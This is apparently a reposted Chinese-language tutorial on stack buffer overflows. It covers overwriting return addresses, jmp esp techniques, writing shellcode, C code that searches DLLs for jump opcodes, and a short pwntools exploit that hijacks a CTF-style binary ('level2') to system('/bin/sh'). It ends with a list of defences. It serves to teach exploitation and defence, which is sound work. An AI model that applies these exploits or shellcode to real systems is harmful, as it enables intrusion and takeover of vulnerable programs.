栈溢出原理图
在DEBUG程序中ebp会入栈,非调试版本ebp是可以优化掉的。我们的栈溢出主要是就是产生在函数堆栈中的局部变量区,例如我们在局部变量区定义了一个Buffer,我们在向这个Buffer拷贝数据的时候,如果拷贝的数据超过了Buffer的容量就会导致往下溢出(溢出到其他高地址上),之所以往下溢出写到高地址上是由于内存的增长方向是从低地址到高地址,而栈的增长方向确实高地址向地址增长,这也就是导致如果产生溢出会覆盖掉栈上高地址部分内容,而一个函数的高地址部分往往存放的就是ebp、返回地址,这也就导致返回地址可能被修改,这也就说明如果存在溢出,我们可以通过精心计算与设计准确的控制返回地址,也就相当于劫持了程序的执行流程。
经典溢出案例
void testFunc(char* buf)
{
char buffer[200];
strcpy(buffer,buf);
count<<buffer<<endl;
}
// 之所以存在栈溢出,,主要是由于这里的buf参数m并没有进行相关校验控制
// 如果buf大小超过局部变量buffer大小则会导致调用strcpy的时候产生栈溢出
这种可能存在溢出风险的危险函数在当下的编译器中会产生编号为4996的警告(Warning)。
针对这种程序,我们可以通过IDA逆向分析或者通过cyclic这种工具生成大量的数据去触发程序崩溃并定位崩溃点计算多少个字节导致程序崩溃的并进行shellcode的构造,例如上图这个程序我们只需要输入208个字节即可将返回地址覆盖掉,这208个字节是:200字节msg+4字节ebp+4字节返回地址,可以确定覆盖到204字节的时候就是返回地址部分了,这个时候我们可以将返回地址这部分填写为我们的恶意函数的地址,这样该函数调用完毕后从栈上拿到返回地址跳转回去的时候就会去执行我们的恶意函数,这也就导致程序的执行流程被劫持控制。
栈溢出手段
第1种覆盖(下图左边部分)
硬编码shellcode地址,重启程序,可能会变,其实就是将Shellcode放在这个函数中缓冲区部分(局部变量区)中,然后将返回地址直接指向这个局部变量区,就可以导致程序跳转指向Shellcode。
缺点:Shellcode地址写死了,程序每次重启地址可能发生变化,所以可能导致Shellcode执行失败情况。
第2种覆盖(下图中间部分)
容易破坏上层栈的数据,通修改返回地址为程序中找到的jmp esp这种指令(gadget)跳转到我们的Shellcode上执行,至于Shellcode则只需要存放在返回地址后面这块内存空间上即可(也就是调用该函数传递的参数部分),因为执行完毕返回地址这条指令时候esp已经发生了变化,移动到了返回地址+4的地方,也就是参数部分。
函数执行完毕执行到ret的时候的操作是:
pop eip; // esp+4
jmp eip;
如果我们把返回地址修改为了jmp esp指令地址,则是
pop jmp指令; // esp+4
jmp jmp指令;
jmp esp;
缺点:会破坏栈,更严重可能导致该函数的调用者栈空间被破坏(因为这一小部分空间有限)。
第3种方法(下图右边部分)
这种攻击方法较好利用了自己栈空间,是前面第二种方法的改良版,我们先在局部变量区写上Shellcode,然后在溢出点覆盖返回地址为jmp esp指令这种gadget,在返回地址后面写上jmp esp-0XXX指令,至于后面这个减去的值则需要我们自己计算,计算方法:shellcode首地址-返回地址处地址+8(返回地址+当前jmp指令),这样,我们就可以通过这种相对偏移手法实现准确定位到Shellcode上面。
上述方法来自于0day安全_软件漏洞分析技术(第二版)。
在当下常规的手法:ret2text、retshellcode、ret2libc、stack pivoting、ret2csu、ret2syscall等等。
Shellcode
是一段可执行的机器码(指令)的十六进制编码字符串。
"xFFxD0" ==> call eax ==> DOFF ==> "xFFxDO"
在Shellcode中使用函数不能使用函数名,而是函数的地址,所以,在Shellcode中使用函数需要先LoadLibrary加载动态链接库,再通过GetProcAddress获取函数地址再进行使用。
EXPLOIT
构造攻击字符串,通过EXP书写规则:'任意字符串+JMP ESP+ SHELLCODE'。
使用Shellcode
typedef void(*Func)()((Func) &sh)();
编写Shellcode方法
(1)如果硬编码功底或者汇编功底好直接OD写了拷贝出来。
(2)如果上面这种不行则可以自己创建一个项目,写上要执行的操作后只需要在程序的main函数中任意代码行下断使其断下来,然后转到汇编页,复制机器码即可。如果没有显示机器码,右击->显示字节码(Show Code Bytes)。
注意事项:如果提取出来的Shellcode中间存在 00 这种字符则可能导致Shellcode被截断,这种情况就需要进行指令替换,例如 00 是 mov eax,0 这条指令导致产生的,则我们修改该指令为 xor eax,eax ,通过这种方式进行替换规避。
ShellCode的设计
(1)提取机器码(VS直接提取)
(2)调试
(3)通用性(获取调用的API地址)
-
在SHELLCODE中调用的API地址随平台变化. -
如何搜索API地址. -
JMP ESP地址搜索.
(4)EXPLOIT:构造攻击字符串
-
"任意字符串+JMPESP+SHELLCODE"
-
任意字符串:用于填满缓冲区。
-
Jmp esp:用于跳转到Shellcode。
-
Shellcode:真正执行的恶意代码。
如何获得函数地址
typedef void (*MYPROC) (LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary( "msvcrt.dll");
printf( "kernel32LibHandle = 0x%xn",ibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");
printf("system= 0x%xn",ProcAdd);
return 0;
}
如何获取JMP XXX系列指令地址
思路:内存中查找机器码。
其实这里不一定需要ESP才可以利用,也可以使用其他的配合达到目的。
下面这段代码就是搜索JMP ESP指令的程序。
//FF E0 JMP EAX
//FF E1 JMP ECX
//FF E2 JMP EDX
//FF E3 JMP EBX
//FF E4 JMP ESP
//FF E5 JMP EBP
//FF E6 JMP ESI
//FF E7 JMP EDI
//FF D0 CALL EAX
//FF D1 CALL ECX
//FF D2 CALL EDX
//FF D3 CALL EBX
//FF D4 CALL ESP
//FF D5 CALL EBP
//FF D6 CALL ESI
//FF D7 CALL EDI
//#define DLL_NAME "mfc42.dll"
int main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf(" load dll erro !");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
// 0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%xn",address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%xn", address);
done_flag = true;
}
}
return 0;
}
默认栈的大小是2M。
新版本的VS编译器中已经加入了缓冲区溢出保护,就是加了security cookie,这个东西就像是Linux中Cannary。
栈溢出中的字节对齐问题
在进行计算溢出字节数的时候不要为了局部变量区会进行字节对齐,X86上是以4字节对齐,例如如果是我们的在函数中开辟的是长度为10的字符数组,则需要16个字节才到返回地址,因为 10字节以4字节对齐就是12字节 + 4字节ebp = 16字节。
Shellcode绕过检测
加密+自解密
案例
from pwn import *
context.log_level = 'debug'
elf = ELF('./level2')
sys_addr = elf.symbols['system']#system函数地址
sh_addr = next(elf.search(b'/bin/sh'))#/bin/sh字符串地址
payload = b'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)#0xdeadbeef为system("/bin/sh")执行后的返回地址,可以随便指定
io = process('./level2')
io.sendlineafter(b"Input:n", payload)
io.interactive()
在这个案例中就是一个较为经典的手法,劫持返回地址到system上获得Shell。
栈溢出防御方法
-
Security_cookie(Cannary)。
-
DEP(NX)。
-
地址随机化(ASLR)。
-
编码时候不要使用这种可能导致栈溢出的危险函数。
-
编码时对用户输入的数据进行校验。
原文始发于微信公众号(安全之道):栈溢出[Stack Overflow]
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论